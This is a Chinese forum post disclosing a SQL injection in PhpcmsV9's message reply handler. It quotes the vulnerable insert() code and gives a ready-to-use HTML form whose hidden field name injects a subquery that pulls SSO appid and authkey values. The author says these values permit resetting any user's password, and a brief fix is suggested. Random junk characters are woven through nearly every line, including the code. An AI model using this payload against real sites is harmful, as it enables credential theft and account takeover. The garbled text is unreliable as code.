找回密码
 立即注册
查看: 3096|回复: 0
打印 上一主题 下一主题

PhpcmsV9 SQL注射修改任意用户密码漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:33:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
简要描述:
, C5 y! C5 j: z; _, ?  l/ p" j- C8 Z, e( X) g) |& w
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。; I6 t4 x) y7 C# C7 f# I. k

" P( v& {0 c! k& C0 K9 a明天再更新下一个漏洞。* O/ s& d% f! G+ U2 {2 v. i
详细说明:% ^7 b: n* e- f. e% g5 t+ b3 b* }' T
在/phpcms9/phpcms/modules/message/index.php中有代码如下:
0 F- e: k: G6 q9 C" R" g; |
! `% x% ^6 K; w5 a( {4 \$messageid = $this->message_db->insert($_POST['info'],true);0 @4 A( C2 _9 ^" O, y$ ?

3 j! ]( R' b/ w" D5 l" v* b! T* k. h2 U5 V6 T7 z
insert方法是key value的,代码如下:
+ F" |1 h6 g% N) |& _) a. B; B* L
1 O7 N( T* C  G% }+ opublic function insert($data, $table, $return_insert_id = false, $replace = false) {( O$ f, M1 F5 J! _8 }  W
                if(!is_array( $data ) || $table == '' || count($data) == 0) {5 j# j  ]- `2 W( J+ B7 K
                        return false;
0 P0 |; S7 ~! K                }
4 `7 g0 c# i: b/ B# {  E                : t0 x7 v( c5 ?: \' `+ @) a. I. P
                $fielddata = array_keys($data);
. @2 B) X% z! f" F                $valuedata = array_values($data);
3 Z5 @4 A+ G1 w4 ?5 y# ?: V                array_walk($fielddata, array($this, 'add_special_char'));6 h# \/ D! X7 j9 w+ g9 Q" B
                array_walk($valuedata, array($this, 'escape_string'));
; k- Q+ Y( y& w( I/ [/ O               
& K4 v' ?6 Q. q) M0 |- b" {                $field = implode (',', $fielddata);7 j# F3 X) q# Y4 |% e
                $value = implode (',', $valuedata);& s  N. u( N. ]0 ^0 P
# P; O( s  ]/ K9 x0 c4 a0 ~
                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
( |: B! M6 I  P                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
/ Z# w- x  D" x' }3 ~4 a6 j                $return = $this->execute($sql);- z0 y: B" {4 J8 A8 r! I
                return $return_insert_id ? $this->insert_id() : $return;
; x5 E; G3 R/ \* ~- b        }: ]# c$ a& u6 ?5 C7 b
* `5 o& _# a( c; K$ o

+ `) I% p/ T, z& v+ w嗯,很遗憾的是
7 I* W6 q8 n& b( M9 P/ }" d! z. t. i+ k
array_walk($fielddata, array($this, 'add_special_char'));. A, k, U; q) |1 K
& I+ F; N' u8 t8 ]

4 g/ c7 h9 l, ]2 l中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
6 E) {( O: o4 `/ ]/ v) v' P- x6 |# M" K1 e
到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
$ g; y7 i4 B5 \+ d. j4 R' v1 F% K7 M
漏洞证明:
2 w/ |9 q2 K! l/ D0 A3 C: f读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
! f  V( m$ `' @: B; x' k4 \( L5 S

0 s7 w: P& Y5 ?5 E- A表单如下:用户名什么的得自己改一改。
- {$ e. {( B( n$ P9 R<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
( {# V# P! X3 W6 Y<table width="100%" cellspacing="0" class="table_form">1 L2 v. ]8 s+ U: f
<tr>
7 d% [& F7 _0 O* T0 w% x5 ]& J( z<th>标 题:</th>* |+ x" f5 w/ m+ ~: b9 W
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
" c4 ^7 y- L" E4 l! {</tr> & H/ r* a5 R" X. f! N
<tr>
. J2 F8 c. Y/ R<th>内 容:</th>! I) R4 z+ ?! U) Q. S1 r, y: G
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>& P( @' _* l- [8 s" f. ~8 E
</tr>
3 d4 t$ J: `7 h4 {, L<input type="hidden" name="info[replyid]" value="2" />
; a( s# u9 e/ ~0 G- x7 K1 }0 R<input type="hidden" name="info[send_to_id]" value="cc" /> / [; h6 ?+ ]& q/ r! C8 {2 V
<input type="hidden" name="info[send_from_id]" value="hh">9 f1 e6 C/ h! o% s: J
<!-- 漏洞的利用重点在这里开始 -->* i2 c% t) l. L% z
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> . g4 p5 n  N9 h0 L% |8 n3 M1 o
<!-- 漏洞的利用重点在这里结束 -->
9 K; _* z9 }( ?0 ~6 M# U: n<tr>
. a0 r0 b9 ~7 b& E) X- T<th>验证码:</th>
' Q* D* F( H+ [7 w! U<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td># \5 F0 a: b+ F2 _4 N1 r
</tr>
8 j  @- d9 E0 @1 C+ l* P0 l& D- n<tr>" Y$ e3 u3 d3 Y8 W/ R5 Q
<td></td>9 s" l) N0 @6 S5 g+ g6 [
<td colspan="2"><label>1 a5 P% V' k5 r" f& U, }" F
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
6 {6 G) d' n) i  L</label></td>
! l3 @& O4 e. E& y' z</tr>
3 w4 {2 i0 W" U  X' N) \4 W</table>9 y" C3 W# A- [; c! B8 Z
</form>6 I8 M, s3 U# Q' _" l1 Z
在add_special_char函数内对key做过滤就可以了。, ]. O9 l! w- x. M
. ^! g( m3 n4 x, d  m2 |3 J* [! i

0 `( V/ ~: Y0 V9 S/ a; c2 K  V6 }  }' d* L

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表